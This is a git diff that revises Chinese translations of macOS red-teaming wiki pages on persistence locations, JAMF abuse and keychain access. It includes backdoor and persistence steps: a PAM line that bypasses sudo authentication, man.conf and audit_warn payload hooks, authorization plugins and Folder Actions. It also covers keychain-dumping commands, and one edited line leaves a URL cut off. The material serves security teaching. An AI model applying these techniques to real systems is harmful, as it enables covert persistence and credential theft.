将打开它,如果该 zip 例如存储在 **`~/Library`** 中并包含文件夹 **`LaunchAgents/file.plist`** 及后门,则该文件夹将被创建(默认情况下并不存在),plist 将被添加,因此下次用户再次登录时,**plist 中指示的后门将被执行**。 +如果将 **ZIP** 文件存储为 **登录项**,则 **`Archive Utility`** 将打开它,如果该 zip 例如存储在 **`~/Library`** 中并包含文件夹 **`LaunchAgents/file.plist`** 以及一个后门,则该文件夹将被创建(默认情况下并不存在),plist 将被添加,因此下次用户再次登录时,**plist 中指示的后门将被执行**。 另一个选项是在用户 HOME 中创建文件 **`.bash_profile`** 和 **`.zshenv**,这样如果文件夹 LaunchAgents 已经存在,这种技术仍然有效。 @@ -721,21 +721,21 @@ total 32 ### 文件夹操作 -写作: [https://theevilbit.github.io/beyond/beyond_0024/](https://theevilbit.github.io/beyond/beyond_0024/)\ -写作: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d) +写作:[https://theevilbit.github.io/beyond/beyond_0024/](https://theevilbit.github.io/beyond/beyond_0024/)\ +写作:[https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d) -- 有助于绕过沙盒: [✅](https://emojipedia.org/check-mark-button) -- 但你需要能够调用 `osascript` 并带有参数以联系 **`System Events`** 来配置文件夹操作 -- TCC 绕过: [🟠](https://emojipedia.org/large-orange-circle) +- 有助于绕过沙盒:[✅](https://emojipedia.org/check-mark-button) +- 但你需要能够带参数调用 `osascript` 来联系 **`System Events`** 以配置文件夹操作 +- TCC 绕过:[🟠](https://emojipedia.org/large-orange-circle) - 它具有一些基本的 TCC 权限,如桌面、文档和下载 #### 位置 - **`/Library/Scripts/Folder Action Scripts`** - 需要 root 权限 -- **触发**: 访问指定文件夹 +- **触发**:访问指定文件夹 - **`~/Library/Scripts/Folder Action Scripts`** -- **触发**: 访问指定文件夹 +- **触发**:访问指定文件夹 #### 描述与利用 @@ -744,7 +744,7 @@ total 32 要设置文件夹操作,你可以选择: 1. 使用 [Automator](https://support.apple.com/guide/automator/welcome/mac) 创建文件夹操作工作流并将其安装为服务。 -2. 通过文件夹的上下文菜单中的文件夹操作设置手动附加脚本。 +2. 通过文件夹的上下文菜单手动附加脚本。 3. 利用 OSAScript 向 `System Events.app` 发送 Apple Event 消息,以编程方式设置文件夹操作。 - 这种方法特别适合将操作嵌入系统,提供一定程度的持久性。 @@ -772,7 +772,7 @@ var fa = se.FolderAction({ name: "Desktop", path: "/Users/username/Desktop" }) se.folderActions.push(fa) fa.scripts.push(myScript) ``` -运行设置脚本: +使用以下命令运行设置脚本: ```bash osascript -l JavaScript /Users/username/attach.scpt ``` @@ -802,9 +802,9 @@ mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts" 现在,让我们尝试在没有 GUI 访问的情况下准备这个持久性: -1. **复制 `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** 到 `/tmp` 进行备份: +1. **将 `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** 复制到 `/tmp` 以备份: - `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp` -2. **移除** 您刚设置的文件夹操作: +2. **删除** 您刚刚设置的文件夹操作:
@@ -818,11 +818,11 @@ mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts" ### Dock 快捷方式 -写作: [https://theevilbit.github.io/beyond/beyond_0027/](https://theevilbit.github.io/beyond/beyond_0027/) +写作:[https://theevilbit.github.io/beyond/beyond_0027/](https://theevilbit.github.io/beyond/beyond_0027/) -- 有助于绕过沙盒: [✅](https://emojipedia.org/check-mark-button) -- 但您需要在系统中安装恶意应用程序 -- TCC 绕过: [🔴](https://emojipedia.org/large-red-circle) +- 有助于绕过沙盒:[✅](https://emojipedia.org/check-mark-button) +- 但您需要在系统内安装恶意应用程序 +- TCC 绕过:[🔴](https://emojipedia.org/large-red-circle) #### 位置 @@ -831,7 +831,7 @@ mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts" #### 描述与利用 -所有出现在 Dock 中的应用程序都在 plist 中指定: **`~/Library/Preferences/com.apple.dock.plist`** +所有出现在 Dock 中的应用程序都在 plist 中指定:**`~/Library/Preferences/com.apple.dock.plist`** 只需通过以下方式即可 **添加应用程序**: ```bash @@ -913,7 +913,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0017](https://theevilbit.gi #### 描述与利用 -**编译一个颜色选择器** 包含你的代码(你可以使用 [**这个例子**](https://github.com/viktorstrate/color-picker-plus))并添加一个构造函数(如在 [屏幕保护程序部分](macos-auto-start-locations.md#screen-saver) 中)并将包复制到 `~/Library/ColorPickers`。 +**编译一个颜色选择器** 包含你的代码(你可以使用 [**这个作为例子**](https://github.com/viktorstrate/color-picker-plus))并添加一个构造函数(如在 [屏幕保护程序部分](macos-auto-start-locations.md#screen-saver) 中)并将包复制到 `~/Library/ColorPickers`。 然后,当颜色选择器被触发时,你的代码也应该被触发。 @@ -942,7 +942,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0017](https://theevilbit.gi 一个带有 Finder Sync 扩展的应用程序示例 [**可以在这里找到**](https://github.com/D00MFist/InSync)。 -应用程序可以拥有 `Finder Sync Extensions`。这个扩展将嵌入到将要执行的应用程序中。此外,为了使扩展能够执行其代码,它 **必须被签名**,并且必须拥有有效的 Apple 开发者证书,它必须是 **沙盒化的**(尽管可以添加放宽的例外),并且必须注册为类似于: +应用程序可以具有 `Finder Sync Extensions`。此扩展将嵌入到将要执行的应用程序中。此外,为了使扩展能够执行其代码,它 **必须被签名**,并且必须具有有效的 Apple 开发者证书,它必须是 **沙盒化的**(尽管可以添加放宽的例外),并且必须注册为类似于: ```bash pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex pluginkit -e use -i com.example.InSync.InSync @@ -952,8 +952,8 @@ pluginkit -e use -i com.example.InSync.InSync Writeup: [https://theevilbit.github.io/beyond/beyond_0016/](https://theevilbit.github.io/beyond/beyond_0016/)\ Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf90b) -- 有助于绕过沙箱: [🟠](https://emojipedia.org/large-orange-circle) -- 但你将进入一个常见的应用程序沙箱 +- 有助于绕过沙盒: [🟠](https://emojipedia.org/large-orange-circle) +- 但你将进入一个常见的应用程序沙盒 - TCC 绕过: [🔴](https://emojipedia.org/large-red-circle) #### 位置 @@ -971,9 +971,9 @@ Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://p #### 描述与利用 -在 Xcode 中创建一个新项目,并选择模板以生成新的 **屏幕保护程序**。然后,将你的代码添加到其中,例如以下代码以生成日志。 +在 Xcode 中创建一个新项目,并选择模板以生成新的 **Screen Saver**。然后,将你的代码添加到其中,例如以下代码以生成日志。 -**构建**它,并将 `.saver` 包复制到 **`~/Library/Screen Savers`**。然后,打开屏幕保护程序 GUI,点击它,它应该会生成大量日志: +**构建**它,并将 `.saver` 包复制到 **`~/Library/Screen Savers`**。然后,打开屏幕保护程序 GUI,点击它,应该会生成大量日志: ```bash sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "hello_screensaver"' @@ -1081,9 +1081,9 @@ Spotlight 是 macOS 内置的搜索功能,旨在为用户提供 **快速而全 Spotlight 的基本机制涉及一个名为 'mds' 的中央进程,代表 **'metadata server'**。该进程协调整个 Spotlight 服务。与此相辅相成的是多个 'mdworker' 守护进程,它们执行各种维护任务,例如索引不同类型的文件 (`ps -ef | grep mdworker`)。这些任务通过 Spotlight 导入插件或 **".mdimporter bundles"** 实现,使 Spotlight 能够理解和索引各种文件格式的内容。 -插件或 **`.mdimporter`** 包位于前面提到的位置,如果出现新的包,它会在一分钟内加载(无需重启任何服务)。这些包需要指明它们可以管理的 **文件类型和扩展名**,这样,当创建具有指定扩展名的新文件时,Spotlight 将使用它们。 +插件或 **`.mdimporter`** 包位于前面提到的位置,如果出现新的包,它会在一分钟内加载(无需重启任何服务)。这些包需要指明它们可以管理的 **文件类型和扩展名**,这样,Spotlight 在创建具有指定扩展名的新文件时将使用它们。 -可以通过运行 **find all the `mdimporters`** 来找到所有加载的内容: +可以通过运行 **find all the `mdimporters`** 来找到所有已加载的内容: ```bash mdimport -L Paths: id(501) ( @@ -1133,21 +1133,21 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist > > 此外,系统默认插件总是优先,因此攻击者只能访问未被苹果自己的 `mdimporters` 索引的文件。 -要创建你自己的导入器,你可以从这个项目开始:[https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer),然后更改名称、**`CFBundleDocumentTypes`** 并添加 **`UTImportedTypeDeclarations`**,以便支持你想要支持的扩展,并在 **`schema.xml`** 中反映它们。\ -然后 **更改** 函数 **`GetMetadataForFile`** 的代码,以便在创建具有处理扩展名的文件时执行你的有效载荷。 +要创建你自己的导入器,你可以从这个项目开始:[https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer),然后更改名称、**`CFBundleDocumentTypes`** 并添加 **`UTImportedTypeDeclarations`**,以便支持你希望支持的扩展,并在 **`schema.xml`** 中反映它们。\ +然后 **更改** 函数 **`GetMetadataForFile`** 的代码,以在创建具有处理扩展名的文件时执行你的有效载荷。 -最后 **构建并复制你的新 `.mdimporter`** 到之前的某个位置,你可以通过 **监控日志** 或检查 **`mdimport -L.`** 来查看它是否被加载。 +最后 **构建并复制你的新 `.mdimporter`** 到之前的一个位置,你可以通过 **监控日志** 或检查 **`mdimport -L.`** 来查看它是否被加载。 -### ~~偏好面板~~ +### ~~偏好设置面板~~ > [!CAUTION] -> 这似乎不再有效。 +> 看起来这不再有效。 写作: [https://theevilbit.github.io/beyond/beyond_0009/](https://theevilbit.github.io/beyond/beyond_0009/) -- 有助于绕过沙箱:[🟠](https://emojipedia.org/large-orange-circle) -- 需要特定用户操作 -- TCC 绕过:[🔴](https://emojipedia.org/large-red-circle) +- 有助于绕过沙盒: [🟠](https://emojipedia.org/large-orange-circle) +- 需要特定的用户操作 +- TCC 绕过: [🔴](https://emojipedia.org/large-red-circle) #### 位置 @@ -1157,29 +1157,29 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist #### 描述 -这似乎不再有效。 +看起来这不再有效。 -## 根沙箱绕过 +## 根沙盒绕过 > [!TIP] -> 在这里你可以找到有用的启动位置,用于 **沙箱绕过**,允许你通过 **写入文件** 以 **root** 身份简单地执行某些操作,和/或需要其他 **奇怪的条件**。 +> 在这里你可以找到有用的启动位置,用于 **沙盒绕过**,允许你通过 **写入文件** 以 **root** 身份简单地执行某些操作,和/或需要其他 **奇怪的条件**。 ### 定期 -写作:[https://theevilbit.github.io/beyond/beyond_0019/](https://theevilbit.github.io/beyond/beyond_0019/) +写作: [https://theevilbit.github.io/beyond/beyond_0019/](https://theevilbit.github.io/beyond/beyond_0019/) -- 有助于绕过沙箱:[🟠](https://emojipedia.org/large-orange-circle) +- 有助于绕过沙盒: [🟠](https://emojipedia.org/large-orange-circle) - 但你需要是 root -- TCC 绕过:[🔴](https://emojipedia.org/large-red-circle) +- TCC 绕过: [🔴](https://emojipedia.org/large-red-circle) #### 位置 - `/etc/periodic/daily`, `/etc/periodic/weekly`, `/etc/periodic/monthly`, `/usr/local/etc/periodic` - 需要 root -- **触发**:当时间到来时 +- **触发**: 当时间到来时 - `/etc/daily.local`, `/etc/weekly.local` 或 `/etc/monthly.local` - 需要 root -- **触发**:当时间到来时 +- **触发**: 当时间到来时 #### 描述与利用 @@ -1224,7 +1224,7 @@ monthly_local="/etc/monthly.local" # Local scripts 如果您成功写入任何文件 `/etc/daily.local`、`/etc/weekly.local` 或 `/etc/monthly.local`,它将会 **迟早被执行**。 > [!WARNING] -> 请注意,周期性脚本将会 **以脚本的所有者身份执行**。因此,如果常规用户拥有该脚本,它将以该用户身份执行(这可能会防止特权升级攻击)。 +> 请注意,周期性脚本将以 **脚本的所有者身份执行**。因此,如果常规用户拥有该脚本,它将以该用户身份执行(这可能会防止特权升级攻击)。 ### PAM @@ -1247,11 +1247,11 @@ monthly_local="/etc/monthly.local" # Local scripts ```bash ls -l /etc/pam.d ``` -一种利用PAM的持久性/特权提升技术,修改模块/etc/pam.d/sudo,在开头添加以下行: +一种利用PAM的持久性/特权提升技术就像修改模块 /etc/pam.d/sudo 在开头添加以下行一样简单: ```bash auth sufficient pam_permit.so ``` -所以它看起来像这样: +所以它将**看起来**像这样: ```bash # sudo: auth account password session auth sufficient pam_permit.so @@ -1284,18 +1284,18 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0028/](https://theevilbit.g Writeup: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65) - 有助于绕过沙盒: [🟠](https://emojipedia.org/large-orange-circle) -- 但你需要是root并进行额外配置 +- 但你需要是 root 并进行额外配置 - TCC 绕过: ??? #### 位置 - `/Library/Security/SecurityAgentPlugins/` -- 需要root权限 +- 需要 root 权限 - 还需要配置授权数据库以使用该插件 #### 描述与利用 -你可以创建一个授权插件,当用户登录时执行以保持持久性。有关如何创建这些插件的更多信息,请查看之前的写作(并且要小心,写得不好的插件可能会锁定你,你需要从恢复模式清理你的mac)。 +你可以创建一个授权插件,当用户登录时执行以保持持久性。有关如何创建这些插件的更多信息,请查看之前的写作(并且要小心,写得不好的插件可能会锁定你,你需要从恢复模式清理你的 Mac)。 ```objectivec // Compile the code and create a real bundle // gcc -bundle -framework Foundation main.m -o CustomAuth @@ -1339,27 +1339,27 @@ security authorizationdb write com.asdf.asdf < /tmp/rule.plist ```bash security authorize com.asdf.asdf ``` -然后 **staff 组应该具有 sudo** 访问权限(阅读 `/etc/sudoers` 以确认)。 +然后**staff组应该具有sudo**访问权限(阅读`/etc/sudoers`以确认)。 ### Man.conf 写作:[https://theevilbit.github.io/beyond/beyond_0030/](https://theevilbit.github.io/beyond/beyond_0030/) - 有助于绕过沙箱:[🟠](https://emojipedia.org/large-orange-circle) -- 但你需要是 root,用户必须使用 man -- TCC 绕过:[🔴](https://emojipedia.org/large-red-circle) +- 但你需要是root,用户必须使用man +- TCC绕过:[🔴](https://emojipedia.org/large-red-circle) #### 位置 - **`/private/etc/man.conf`** -- 需要 root -- **`/private/etc/man.conf`**:每当使用 man 时 +- 需要root权限 +- **`/private/etc/man.conf`**:每当使用man时 #### 描述与利用 -配置文件 **`/private/etc/man.conf`** 指定在打开 man 文档文件时使用的二进制文件/脚本。因此,可以修改可执行文件的路径,以便每当用户使用 man 阅读文档时,都会执行一个后门。 +配置文件**`/private/etc/man.conf`**指示在打开man文档文件时使用的二进制文件/脚本。因此,可以修改可执行文件的路径,以便每当用户使用man阅读文档时,都会执行一个后门。 -例如设置在 **`/private/etc/man.conf`**: +例如在**`/private/etc/man.conf`**中设置: ``` MANPAGER /tmp/view ``` @@ -1392,7 +1392,7 @@ touch /tmp/manconf ```bash LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority" ``` -这样,您的编译模块将由 Apache 加载。唯一的要求是您需要 **用有效的 Apple 证书签名**,或者您需要 **在系统中添加一个新的受信任证书** 并 **用它签名**。 +这样,您的编译模块将由 Apache 加载。唯一需要注意的是,您要么需要 **用有效的 Apple 证书签名**,要么需要 **在系统中添加一个新的受信任证书** 并 **用它签名**。 然后,如果需要,您可以执行以下操作以确保服务器启动: ```bash @@ -1426,7 +1426,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0031/](https://theevilbit.g #### 描述与利用 -每当auditd检测到警告时,脚本**`/etc/security/audit_warn`**会被**执行**。所以你可以在其中添加你的有效载荷。 +每当auditd检测到警告时,脚本**`/etc/security/audit_warn`**会被**执行**。因此你可以在其中添加你的有效载荷。 ```bash echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn ``` @@ -1492,7 +1492,7 @@ RunService "$1" 写作: [https://theevilbit.github.io/beyond/beyond_0023/](https://theevilbit.github.io/beyond/beyond_0023/) -由苹果引入,**emond** 是一种日志记录机制,似乎尚未开发或可能被遗弃,但仍然可以访问。虽然对 Mac 管理员并没有特别的好处,但这个晦涩的服务可能作为威胁行为者的微妙持久性方法,可能不会被大多数 macOS 管理员注意到。 +由苹果引入,**emond** 是一种日志记录机制,似乎尚未开发或可能被遗弃,但仍然可以访问。虽然对 Mac 管理员并没有特别的好处,但这个模糊的服务可能作为威胁行为者的微妙持久性方法,可能不会被大多数 macOS 管理员注意到。 对于那些知道其存在的人,识别 **emond** 的任何恶意使用是简单的。该服务的系统 LaunchDaemon 在一个目录中寻找要执行的脚本。要检查这一点,可以使用以下命令: ```bash @@ -1510,12 +1510,12 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0018/](https://theevilbit.g #### 描述与利用 -XQuartz在**macOS中不再安装**,所以如果你想要更多信息,请查看写作。 +XQuartz **不再安装在macOS中**,所以如果你想要更多信息,请查看写作。 ### ~~kext~~ > [!CAUTION] -> 即使作为root安装kext也非常复杂,因此我不会考虑这作为逃避沙箱或持久性的手段(除非你有一个漏洞) +> 即使作为root安装kext也非常复杂,因此我不会考虑这作为逃避沙箱或持久性的方法(除非你有一个漏洞) #### 位置 @@ -1534,7 +1534,7 @@ kextload -b com.apple.driver.ExampleBundle #Load a new one based on path kextunload /path/to/kext.kext kextunload -b com.apple.driver.ExampleBundle ``` -有关[**内核扩展的更多信息,请查看本节**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers)。 +有关更多信息,请查看[**内核扩展,请查看此部分**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers)。 ### ~~amstoold~~ @@ -1547,7 +1547,7 @@ kextunload -b com.apple.driver.ExampleBundle #### 描述与利用 -显然,来自`/System/Library/LaunchAgents/com.apple.amstoold.plist`的`plist`在暴露XPC服务时使用了这个二进制文件……问题是这个二进制文件并不存在,因此你可以在这里放置一些东西,当XPC服务被调用时,你的二进制文件将被调用。 +显然,来自`/System/Library/LaunchAgents/com.apple.amstoold.plist`的`plist`正在使用这个二进制文件,同时暴露了一个XPC服务……问题是这个二进制文件并不存在,因此你可以在这里放置一些东西,当XPC服务被调用时,你的二进制文件将被调用。 我在我的macOS中找不到这个。 @@ -1563,11 +1563,11 @@ kextunload -b com.apple.driver.ExampleBundle #### 描述与利用 -显然,运行这个脚本并不常见,我甚至在我的macOS中找不到它,所以如果你想要更多信息,请查看写作。 +显然,运行这个脚本并不常见,我甚至在我的macOS中找不到它,因此如果你想要更多信息,请查看写作。 ### ~~/etc/rc.common~~ -> [!CAUTION] > **这在现代MacOS版本中不起作用** +> [!CAUTION] > **在现代MacOS版本中不起作用** 在这里也可以放置**将在启动时执行的命令。** 示例是常规的rc.common脚本: ```bash diff --git a/src/macos-hardening/macos-red-teaming/README.md b/src/macos-hardening/macos-red-teaming/README.md index e915db6b8..86552f0ad 100644 --- a/src/macos-hardening/macos-red-teaming/README.md +++ b/src/macos-hardening/macos-red-teaming/README.md @@ -65,7 +65,7 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist 4 [...] ``` -因此,攻击者可以放置一个恶意包(`pkg`),在安装时**覆盖此文件**,将**URL设置为来自Typhon代理的Mythic C2监听器**,从而能够滥用JAMF作为C2。 +因此,攻击者可以放置一个恶意包(`pkg`),在安装时**覆盖此文件**,将**URL设置为来自Typhon代理的Mythic C2监听器**,以便能够滥用JAMF作为C2。 ```bash # After changing the URL you could wait for it to be reloaded or execute: sudo jamf policy -id 0 @@ -79,15 +79,15 @@ sudo jamf policy -id 0 - 设备的 **UUID**: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'` - **JAMF 密钥链**来自: `/Library/Application\ Support/Jamf/JAMF.keychain`,其中包含设备证书 -有了这些信息,**创建一个虚拟机**,使用**被盗**的硬件 **UUID** 并且**禁用 SIP**,放置 **JAMF 密钥链,** **hook** Jamf **代理**并窃取其信息。 +有了这些信息,**创建一个虚拟机**,使用**被盗**的硬件**UUID**,并且**禁用 SIP**,放置**JAMF 密钥链,** **hook** Jamf **代理**并窃取其信息。 #### 秘密窃取

a

-你还可以监控位置 `/Library/Application Support/Jamf/tmp/`,以获取管理员可能希望通过 Jamf 执行的 **自定义脚本**,因为它们**在这里放置、执行并移除**。这些脚本**可能包含凭据**。 +你还可以监控位置 `/Library/Application Support/Jamf/tmp/`,以获取管理员可能希望通过 Jamf 执行的**自定义脚本**,因为它们**在这里放置、执行并移除**。这些脚本**可能包含凭据**。 -然而,**凭据**可能作为**参数**传递给这些脚本,因此你需要监控 `ps aux | grep -i jamf`(甚至不需要是 root)。 +然而,**凭据**可能作为**参数**传递给这些脚本,因此你需要监控 `ps aux | grep -i jamf`(甚至不需要 root 权限)。 脚本 [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) 可以监听新文件的添加和新进程参数。 @@ -101,7 +101,7 @@ sudo jamf policy -id 0 ## Active Directory -在某些情况下,你会发现 **MacOS 计算机连接到 AD**。在这种情况下,你应该尝试**枚举**活动目录,就像你习惯的那样。在以下页面中找到一些**帮助**: +在某些情况下,你会发现**MacOS 计算机连接到 AD**。在这种情况下,你应该尝试**枚举**活动目录,就像你习惯的那样。在以下页面中找到一些**帮助**: {{#ref}} ../../network-services-pentesting/pentesting-ldap.md @@ -166,11 +166,7 @@ dscl "/Active Directory/TEST/All Domains" read "/Groups/[groupname]" #Domain Information dsconfigad -show ``` -更多信息请访问 [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/) - -### Computer$ 密码 - -使用以下方法获取密码: +更多信息请访问 [https://its-a-feature.github.io/posts/2018/ ```bash bifrost --action askhash --username [name] --password [password] --domain [domain] ``` @@ -215,11 +211,11 @@ MacOS 红队与常规 Windows 红队不同,因为通常 **MacOS 直接与多 ### Safari -当在 Safari 中下载文件时,如果是“安全”文件,它将 **自动打开**。例如,如果你 **下载一个 zip 文件**,它将自动解压缩: +当在 Safari 中下载文件时,如果是“安全”文件,它将 **自动打开**。例如,如果您 **下载一个 zip 文件**,它将自动解压缩:
-## 参考文献 +## 参考 - [**https://www.youtube.com/watch?v=IiMladUbL6E**](https://www.youtube.com/watch?v=IiMladUbL6E) - [**https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6**](https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6) diff --git a/src/macos-hardening/macos-red-teaming/macos-keychain.md b/src/macos-hardening/macos-red-teaming/macos-keychain.md index cd35e4194..1d6900d46 100644 --- a/src/macos-hardening/macos-red-teaming/macos-keychain.md +++ b/src/macos-hardening/macos-red-teaming/macos-keychain.md @@ -10,25 +10,25 @@ - 在 **iOS** 中只有一个 **钥匙串**,位于 `/private/var/Keychains/`。此文件夹还包含 `TrustStore` 的数据库、证书颁发机构 (`caissuercache`) 和 OSCP 条目 (`ocspache`)。 - 应用程序在钥匙串中的访问将仅限于其基于应用程序标识符的私有区域。 -### Password Keychain Access +### 密码钥匙串访问 这些文件虽然没有固有的保护并且可以被 **下载**,但它们是加密的,需要 **用户的明文密码进行解密**。可以使用像 [**Chainbreaker**](https://github.com/n0fate/chainbreaker) 这样的工具进行解密。 -## Keychain Entries Protections +## 钥匙串条目保护 ### ACLs -钥匙串中的每个条目都受 **访问控制列表 (ACLs)** 的管理,这些列表规定了谁可以对钥匙串条目执行各种操作,包括: +钥匙串中的每个条目都受 **访问控制列表 (ACLs)** 的管理,规定谁可以对钥匙串条目执行各种操作,包括: - **ACLAuhtorizationExportClear**:允许持有者获取秘密的明文。 - **ACLAuhtorizationExportWrapped**:允许持有者获取用另一个提供的密码加密的明文。 - **ACLAuhtorizationAny**:允许持有者执行任何操作。 -ACLs 还附带一个 **受信任应用程序列表**,可以在不提示的情况下执行这些操作。可能是: +ACLs 还附带一个 **受信任应用程序列表**,可以在不提示的情况下执行这些操作。这可能是: - **N`il`**(不需要授权,**所有人都被信任**) - 一个 **空** 列表(**没有人**被信任) -- **特定应用程序** 的 **列表**。 +- **特定应用程序**的 **列表**。 条目还可能包含键 **`ACLAuthorizationPartitionID`**,用于识别 **teamid、apple** 和 **cdhash**。 @@ -36,12 +36,12 @@ ACLs 还附带一个 **受信任应用程序列表**,可以在不提示的情 - 如果指定了 **apple**,则应用程序需要由 **Apple** 签名。 - 如果指明了 **cdhash**,则 **应用程序** 必须具有特定的 **cdhash**。 -### Creating a Keychain Entry +### 创建钥匙串条目 当使用 **`Keychain Access.app`** 创建 **新** **条目** 时,适用以下规则: - 所有应用程序都可以加密。 -- **没有应用程序** 可以导出/解密(在不提示用户的情况下)。 +- **没有应用程序**可以导出/解密(在不提示用户的情况下)。 - 所有应用程序都可以查看完整性检查。 - 没有应用程序可以更改 ACLs。 - **partitionID** 设置为 **`apple`**。 @@ -54,7 +54,7 @@ ACLs 还附带一个 **受信任应用程序列表**,可以在不提示的情 - 没有应用程序可以更改 ACLs。 - **partitionID** 设置为 **`teamid:[teamID here]`**。 -## Accessing the Keychain +## 访问钥匙串 ### `security` ```bash @@ -82,21 +82,21 @@ security dump-keychain ~/Library/Keychains/login.keychain-db 使用 **Security Framework** 列出并获取每个密钥链条目的 **信息**,或者您也可以检查苹果的开源 CLI 工具 [**security**](https://opensource.apple.com/source/Security/Security-59306.61.1/SecurityTool/macOS/security.c.auto.html)**。** 一些 API 示例: -- API **`SecItemCopyMatching`** 提供有关每个条目的信息,并且在使用时可以设置一些属性: +- API **`SecItemCopyMatching`** 提供每个条目的信息,并且在使用时可以设置一些属性: - **`kSecReturnData`**:如果为真,它将尝试解密数据(设置为假以避免潜在的弹出窗口) -- **`kSecReturnRef`**:还获取密钥链项的引用(如果稍后您看到可以在没有弹出窗口的情况下解密,则设置为真) +- **`kSecReturnRef`**:还获取密钥链项目的引用(如果稍后您看到可以在没有弹出窗口的情况下解密,则设置为真) - **`kSecReturnAttributes`**:获取条目的元数据 - **`kSecMatchLimit`**:返回多少结果 - **`kSecClass`**:什么类型的密钥链条目 获取每个条目的 **ACL**: -- 使用 API **`SecAccessCopyACLList`**,您可以获取 **密钥链项的 ACL**,它将返回一个 ACL 列表(如 `ACLAuhtorizationExportClear` 和之前提到的其他项),每个列表包含: +- 使用 API **`SecAccessCopyACLList`**,您可以获取 **密钥链项目的 ACL**,它将返回一个 ACL 列表(如 `ACLAuhtorizationExportClear` 和之前提到的其他项),每个列表包含: - 描述 - **受信任的应用程序列表**。这可以是: -- 应用程序:/Applications/Slack.app -- 二进制文件:/usr/libexec/airportd -- 组:group://AirPort +- 一个应用程序:/Applications/Slack.app +- 一个二进制文件:/usr/libexec/airportd +- 一个组:group://AirPort 导出数据: @@ -106,24 +106,24 @@ security dump-keychain ~/Library/Keychains/login.keychain-db 这些是能够 **在没有提示的情况下导出秘密** 的 **要求**: - 如果 **1+ 个受信任** 应用程序列出: -- 需要适当的 **授权**(**`Nil`**,或是 **允许** 访问秘密信息的应用程序列表的一部分) +- 需要适当的 **授权**(**`Nil`**,或是 **允许** 列表中的应用程序以访问秘密信息) - 需要代码签名与 **PartitionID** 匹配 -- 需要代码签名与一个 **受信任的应用程序** 的匹配(或是正确的 KeychainAccessGroup 的成员) +- 需要代码签名与一个 **受信任的应用程序** 的匹配(或是属于正确的 KeychainAccessGroup) - 如果 **所有应用程序受信任**: - 需要适当的 **授权** - 需要代码签名与 **PartitionID** 匹配 -- 如果 **没有 PartitionID**,则不需要 +- 如果 **没有 PartitionID**,则不需要此项 > [!CAUTION] > 因此,如果列出了 **1 个应用程序**,您需要 **在该应用程序中注入代码**。 > -> 如果 **apple** 在 **partitionID** 中被指示,您可以使用 **`osascript`** 访问它,因此任何信任所有应用程序且在 partitionID 中包含 apple 的内容。**`Python`** 也可以用于此。 +> 如果 **apple** 在 **partitionID** 中被指示,您可以使用 **`osascript`** 访问它,因此任何信任所有应用程序的内容都包含 apple 在 partitionID 中。**`Python`** 也可以用于此。 ### 两个额外属性 -- **Invisible**:这是一个布尔标志,用于 **隐藏** 密钥链应用程序中的条目 -- **General**:用于存储 **元数据**(因此它不是加密的) -- 微软以明文存储所有访问敏感端点的刷新令牌。 +- **隐形**:这是一个布尔标志,用于 **隐藏** 密钥链应用程序中的条目 +- **通用**:用于存储 **元数据**(因此它不是加密的) +- 微软以明文存储所有刷新令牌以访问敏感端点。 ## References diff --git a/src/macos-hardening/macos-red-teaming/macos-mdm/README.md b/src/macos-hardening/macos-red-teaming/macos-mdm/README.md index e30455a9d..7cb853b1f 100644 --- a/src/macos-hardening/macos-red-teaming/macos-mdm/README.md +++ b/src/macos-hardening/macos-red-teaming/macos-mdm/README.md @@ -11,7 +11,7 @@ ### **MDM(移动设备管理)概述** -[移动设备管理](https://en.wikipedia.org/wiki/Mobile_device_management)(MDM)用于管理各种终端用户设备,如智能手机、笔记本电脑和平板电脑。特别是对于苹果的平台(iOS、macOS、tvOS),它涉及一套专门的功能、API 和实践。MDM 的操作依赖于一个兼容的 MDM 服务器,该服务器可以是商业可用的或开源的,并且必须支持 [MDM 协议](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf)。关键点包括: 